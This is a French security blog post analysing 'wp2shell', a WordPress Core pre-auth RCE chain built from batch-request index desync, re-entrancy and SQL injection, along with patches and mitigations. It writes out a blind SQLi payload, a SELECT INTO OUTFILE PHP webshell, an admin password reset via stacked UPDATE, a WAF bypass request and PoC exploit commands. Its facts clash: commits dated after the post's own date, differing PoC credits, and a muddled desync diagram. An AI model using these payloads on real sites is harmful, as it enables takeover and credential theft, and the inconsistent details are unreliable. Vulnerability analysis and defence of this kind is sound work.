cloud's Blog

Security blog

View on GitHub
9 July 2026

CVE-2026-63030 + CVE-2026-60137 (wp2shell) : RCE pré-auth dans WordPress Core via REST API Batch

by cloud

CVE-2026-63030 (CVSS 9.8) et CVE-2026-60137 forment une chaîne de vulnérabilités critique dans le cœur de WordPress permettant une exécution de code arbitraire pré-authentification. La chaîne exploite trois bugs distincts — désalignement d’index dans le batch REST API, ré-entrance non gardée, et injection SQL via WP_Query — pour obtenir un shell web sans aucune credential. Un PoC complet, wp2shell, a été publié par Thomas Jordan (st4ndard).

Caractéristiques principales :


TL;DR

Champ Valeur
CVE CVE-2026-63030 (RCE, CVSS 9.8) + CVE-2026-60137 (SQLi)
Alias wp2shell
Impact Critique — RCE pré-auth sur WordPress Core
Composant WP_REST_Server::serve_batch_request_v1() + rest_api_loaded() + WP_Query
Type Batch route desync + re-entrancy + SQL injection (CWE-89)
Auteur PoC Thomas Jordan (st4ndard)
Versions affectées WordPress 6.9.0 – 6.9.4, 7.0.0 – 7.0.1
Versions corrigées 6.9.5, 7.0.2
Prérequis Aucun — REST API publique par défaut
PoC github.com/ThomasNJordan/wp2shell

1. La chaîne d’exploitation en 3 bugs

L’exploit repose sur l’enchaînement de trois vulnérabilités distinctes dans le sous-système REST API de WordPress Core. Aucune ne permet à elle seule un RCE, mais leur composition crée une surface d’attaque complète.

1.1 Bug 1 : Désalignement d’index dans le batch REST API

Fichier : wp-includes/rest-api/class-wp-rest-server.phpserve_batch_request_v1()

L’API REST de WordPress supporte les batch requests — plusieurs sous-requêtes envoyées en un seul appel HTTP. La fonction serve_batch_request_v1() traite chaque sous-requête et maintient deux tableaux parallèles :

Le bug : quand une sous-requête mal formée génère une WP_Error, elle est ajoutée à $validation mais pas à $matches :

foreach ( $requests as $single_request ) {
    if ( is_wp_error( $single_request ) ) {
        $has_error    = true;
        $validation[] = $single_request;
        // ← BUG: $matches[] n'est pas alimenté !
        continue;
    }
    // ... validation ...
    $matches[] = $single_request;
}

Conséquence : après une sous-requête mal formée, $matches est décalé d’un index par rapport à $validation. La boucle de dispatch utilise $matches[$i] pour récupérer la route, mais l’index mappe vers la mauvaise route.

Cas normal (pas d'erreur):
  $matches[0] → route /categories   → handler categories
  $matches[1] → route /posts        → handler posts

Avec une erreur en position 0:
  $validation[0] → WP_Error
  $validation[1] → /categories      ← index 1
  $matches[0]    → /categories      ← index 0 (décalé !)
  $matches[1]    → /posts           ← index 1

  La boucle dispatch: $matches[0] sur handler[0] → OK
  MAIS handler pour /categories est maintenant index 1 dans $validation
  → sub-request[1] reçoit le handler de sub-request[2]

Résultat : une sous-requête est dispatchée contre le handler de la sous-requête suivante — un route handler swap contrôlé par l’attaquant.

1.2 Bug 2 : Ré-entrance non gardée dans serve_request()

Fichier : wp-includes/rest-api/class-wp-rest-server.phpserve_request() + wp-includes/rest-api.phprest_api_loaded()

Le handler de batch dispatch les sous-requêtes via dispatch(), qui appelle à nouveau serve_request(). Or, serve_request() ne vérifie pas s’il est déjà en train de dispatcher. Une sous-requête peut donc démarrer un nouveau cycle REST complet — un batch imbriqué.

De même, rest_api_loaded() (le point d’entrée REST de WordPress) ne court-circuite pas les appels entrants quand un dispatch est en cours, et exécute son die() final, ce qui peut interrompre le batch parent.

// AVANT (vulnérable) :
public function serve_request( $path = null ) {
    // Aucun garde-fou contre la ré-entrance
    global $current_user;
    // ... nouveau cycle complet ...
}

// APRÈS (patché) :
public function serve_request( $path = null ) {
    // Refuse de démarrer un nouveau cycle si un dispatch est en cours
    if ( $this->is_dispatching() ) {
        return false;
    }
    // ...
}

Et dans rest_api_loaded() :

// Patch : court-circuit avant define()/die() si un dispatch est en cours
if ( isset( $GLOBALS['wp_rest_server'] )
    && $GLOBALS['wp_rest_server'] instanceof WP_REST_Server
    && $GLOBALS['wp_rest_server']->is_dispatching()
) {
    return;
}

La ré-entrance permet à l’attaquant d’imbriquer des batchs à plusieurs niveaux, chaque niveau souffrant du désalignement d’index — ce qui amplifie la surface exploitable.

1.3 Bug 3 : Injection SQL via author__not_in dans WP_Query

Fichier : wp-includes/class-wp-query.phpget_posts()

Le paramètre author__not_in filtre les posts en excluant certains auteurs. Sa sanitization dépend d’un is_array() :

// WP_Query::get_posts() — traitement de author__not_in
if ( ! empty( $q['author__not_in'] ) ) {
    if ( is_array( $q['author__not_in'] ) ) {
        $author__not_in = implode( ',', array_map( 'absint', $q['author__not_in'] ) );
    } else {
        $author__not_in = $q['author__not_in'];  // ← BUG : pas de sanitization !
    }
    $where .= " AND post_author NOT IN ($author__not_in)";
}

Quand author__not_in est un tableau, absint() force chaque valeur en entier. Mais quand c’est une chaîne de caractères, la valeur passe directement dans la clause WHERE SQL sans aucune sanitization.

L’API REST expose ce paramètre via author_exclude sur certains endpoints (notamment /wp/v2/categories et /wp/v2/posts). Normalement, le schema REST valide le type — mais le bug de désalignement permet d’envoyer le paramètre sur un endpoint qui ne le définit pas dans son schema, donc il passe la validation non validé.


2. La chaîne complète

2.1 Vue d’ensemble

Batch REST API (POST /wp-json/batch/v1)
  │
  ├─ [0] sous-requête malformée → WP_Error
  │   → $validation et $matches se désalignent
  │
  ├─ [1] POST /wp/v2/posts → dispatchée contre handler[2] (batch)
  │   → son body est traité comme un NOUVEAU batch (ré-entrance)
  │   │
  │   └─ Batch imbriqué (inner):
  │      ├─ [0] sous-requête malformée → WP_Error (re-désaligne)
  │      ├─ [1] GET /categories?author_exclude=SQLI → dispatchée contre handler[2] (posts)
  │      │   → author_exclude n'est pas définie dans le schema categories
  │      │   → passe validation non validé
  │      │   → mappée à author__not_in dans WP_Query
  │      │   → is_array() échoue → STRING directe dans WHERE
  │      │   → SQL INJECTION
  │      └─ [2] GET /wp/v2/posts (fournit le handler pour [1])
  │
  └─ [2] POST /batch/v1 → fournit le handler batch pour [1]

2.2 Phase 1 : Détection non-destructive (desync probe)

Le PoC wp2shell détecte la vulnérabilité sans exploit, en observant les codes de réponse :

probe = [
    {malformed},                                    # [0] → WP_Error, désaligne
    {"method": "DELETE", "path": "/wp/v2/categories/0"},  # [1]
    {"method": "POST",   "path": "/wp/v2/block-renderer/core/paragraph"}, # [2]
]

2.3 Phase 2 : Confirmation SQLi (time-based blind)

Le PoC construit le batch imbriqué et injecte un oracle temporel :

# Injection format:
author_exclude = "SELECT IF((condition), SLEEP(n), 0)"
# → WHERE post_author NOT IN (SELECT IF((condition), SLEEP(n), 0))

Calibration : compare SLEEP(0.15) avec 1=1 (true → lent) et 1=0 (false → rapide). Si le delta est suffisant → oracle confirmé.

2.4 Phase 3 : RCE

Deux chemins vers le RCE :

Chemin A — SELECT INTO OUTFILE (le plus rapide) : Si MySQL/MariaDB a FILE privilege et que le webroot est accessible :

SELECT '<?php system($_GET["c"]); ?>' INTO OUTFILE '/var/www/html/.wp-shell.php'

→ Shell web direct, plus besoin de credential.

Chemin B — Extraction de credentials + plugin upload :

  1. Extraction caractère par caractère via binary search sur ASCII(SUBSTRING(...)) :
    • user_login de l’admin (SELECT user_login FROM wp_users WHERE user_status=0 LIMIT 1)
    • user_pass hash (SELECT user_pass FROM wp_users WHERE user_status=0 LIMIT 1)
  2. Tentative de UPDATE stacked : SELECT 1;UPDATE wp_users SET user_pass='md5_hash' WHERE user_login='admin' — WordPress accepte les hashes MD5 comme fallback legacy. Ne marche pas avec mysqli (pas de stacked queries).
  3. Si le stacked UPDATE échoue → crack offline du hash phpass via hashcat/john, puis :
    • Login wp-admin
    • Upload d’un plugin malveillant (.zip avec webshell)
    • Activation du plugin
    • Shell interactif

2.5 Bypass WAF CloudFront/AWS

Si le WAF bloque le POST sur /wp-json/batch/v1, le PoC contourne via :

GET /?rest_route=/batch/v1&_method=POST&requests[0][method]=POST&requests[0][path]=http://:&...

WordPress honore _method=POST en query string et parse les paramètres PHP-style (requests[0][method]=...). CloudFront laisse passer les GET que AWS WAF bloque en POST.


3. Les patches

Deux commits corrigent les deux bugs principaux :

3.1 Fix 1 : Garde anti-ré-entrance (commit fa72c12879fb)

+// Refuse to start a fresh top-level REST cycle while another dispatch
+// is already in flight. Internal sub-requests must use dispatch().
+if ( $this->is_dispatching() ) {
+    return false;
+}

Dans rest_api_loaded() :

+// Short-circuit before define()/die() if a REST dispatch is already in flight.
+// serve_request() enforces this too; guarding here avoids the trailing die().
+if ( isset( $GLOBALS['wp_rest_server'] )
+    && $GLOBALS['wp_rest_server'] instanceof WP_REST_Server
+    && $GLOBALS['wp_rest_server']->is_dispatching()
+) {
+    return;
+}

Ce patch empêche la ré-entrance — un sous-request ne peut plus démarrer un nouveau cycle serve_request() complet quand un dispatch est en cours, forçant l’utilisation de dispatch() à la place.

3.2 Fix 2 : Alignement $matches (commit 1000ed164983)

 $has_error    = true;
+$matches[]    = $single_request;    // ← maintenant aussi alimenté
 $validation[] = $single_request;

Ce patch corrige le désalignement d’index — les sous-requêtes en erreur sont maintenant ajoutées à $matches ET $validation, donc les indices restent synchronisés.

3.3 Fix 3 : Sanitization author__not_in string

Le troisième bug (SQLi via author__not_in string) est corrigé en forçant la sanitization quel que soit le type (array ou string) — absint() est systématiquement appliqué.


4. Utilisation du PoC

# Détection non-destructive
python3 wp2shell.py https://target.com --check

# Exploit complet (RCE)
python3 wp2shell.py https://target.com --exploit -v

# Extraction de données via blind SQLi
python3 wp2shell.py https://target.com --extract "SELECT user_login FROM wp_users LIMIT 1"

# Shell avec credentials connues
python3 wp2shell.py https://target.com --shell --admin-user admin --admin-pass password123

# Cleanup
python3 wp2shell.py https://target.com --cleanup --admin-user admin --admin-pass password123 --shell-key <key>

5. Détection et mitigation

5.1 Détection

Méthode Détails
Version check Vérifier wp-includes/version.php — versions 6.9.0 à 7.0.1 vulnérables
Nuclei template wp2shell-safe-detect.yaml — détecte version + REST API exposée, non-destructif
Shodan http.component:WordPress http.html:"WordPress 6.9.4" — estimation passive
Logs Apache/Nginx Rechercher POST /wp-json/batch/v1 avec sous-requêtes path: "http://:" (malformées)
Logs MySQL Requêtes contenant NOT IN (SELECT IF( ou SLEEP(

5.2 Mitigation immédiate

# Option 1 (recommandée) : Mettre à jour WordPress
wp core update --version=6.9.5
# ou via wp-admin → Tableau de bord → Mises à jour

# Option 2 : Bloquer le batch REST API si mise à jour impossible
# .htaccess (Apache)
<LocationMatch "/wp-json/batch/v1">
    Require all denied
</LocationMatch>

# Nginx
location ~ /wp-json/batch/v1 {
    deny all;
}

# Option 3 : Désactiver l'API REST pour les non-authentifiés (plugin)
# Déclaration: add_filter('rest_authentication_errors', function($result) {
#     if (!is_user_logged_in()) return new WP_Error('rest_disabled');
#     return $result;
# });

⚠️ Bloquer le batch endpoint peut casser des fonctionnalités légitimes (Gutenberg, certaines extensions). La mise à jour reste la seule solution propre.


6. Leçons

6.1 Les batch requests sont une surface d’attaque sous-estimée

Les API batch (REST, GraphQL batch, etc.) multiplient les surfaces de désalignement : un index d’erreur qui désynchronise deux tableaux parallèles est un pattern de bug classique mais rarement audité. Ce n’est pas la première fois qu’un batch handler crée une condition de race logique — et ce ne sera pas la dernière.

6.2 La ré-entrance est un assume-pas-le-pire

L’absence de garde anti-ré-entrance dans serve_request() est un bug de design fondamental : un serveur REST qui peut être appelé pendant qu’il se sert lui-même ouvre la porte à l’arbitraire. La règle : toute fonction qui démarre un cycle complet doit vérifier qu’elle n’est pas déjà dedans.

6.3 Le triple type bypass

L’injection SQL dans author__not_in illustre un pattern de bypass de sanitization par variante de type. Le développeur a protégé le cas array (absint()) mais oublié le cas string. C’est exactement le type de bug que les fuzzer de types (property-based testing) attrappent facilement — mais WordPress n’utilise pas ce genre de tests.

6.4 Un seul endpoint public = RCE

L’API REST de WordPress est publique par défaut — pas de clé, pas d’auth, pas de rate limit sur le batch endpoint. N’importe qui sur Internet peut envoyer un batch de 50 sous-requêtes à /wp-json/batch/v1. C’est la surface d’entrée qui transforme trois bugs de logique en RCE critique.


7. Timeline

Date Événement
~2026-07 (WP 6.9.0) Introduction des bugs (batch REST rework)
2026-07-17 Commits de correction mergés (fa72c12879fb, 1000ed164983)
2026-07-09 Publication du PoC wp2shell + recherche (tobiasGuta, 0xsyr0)
2026-07-09 Release WordPress 6.9.5 et 7.0.2 (patched)

8. Comparaison avec les vulnérabilités précédentes

Aspect wp2shell (CVE-2026-63030) GhostLock (CVE-2026-43499) Bonding 19y (CVE-2026-43456)
Cible WordPress Core (web app) Linux kernel (rtmutex) Linux kernel (bonding)
Type Batch desync + ré-entrance + SQLi Stack-UAF Type confusion
Pré-auth ✅ (no privilege) CAP_NET_ADMIN
Impact RCE sur serveur web LPE noyau LPE noyau
Âge ~mois 15 ans 19 ans
Fix 2 commits PHP, simple waiter->task vs current 1 ligne à supprimer
PoC Public, exploit complet Partiel (technique) Non public

Références

Source URL
PoC wp2shell (exploit complet) github.com/ThomasNJordan/wp2shell
Vulnerability-Research-Lab (Docker + Nuclei) github.com/tobiasGuta/Vulnerability-Research-Lab
Fix 1 — ré-entrance (fa72c12879fb) github.com/WordPress/wordpress-develop/commit/fa72c12879fb
Fix 2 — désalignement $matches (1000ed164983) github.com/WordPress/wordpress-develop/commit/1000ed164983
Collection PoC ( labelled ) github.com/Mr-xn/Penetration_Testing_POC
Précédent : GhostLock (CVE-2026-43499) madpowah.github.io/2026/07/09/cve-2026-43499-ghostlock-ionstack.html
Précédent : Bonding 19y (CVE-2026-43456) madpowah.github.io/2026/07/03/cve-2026-43456-bonding-type-confusion.html

Have fun.

tags: security - web - wordpress - cve - exploit - rce - sqli - rest-api - batch - wp2shell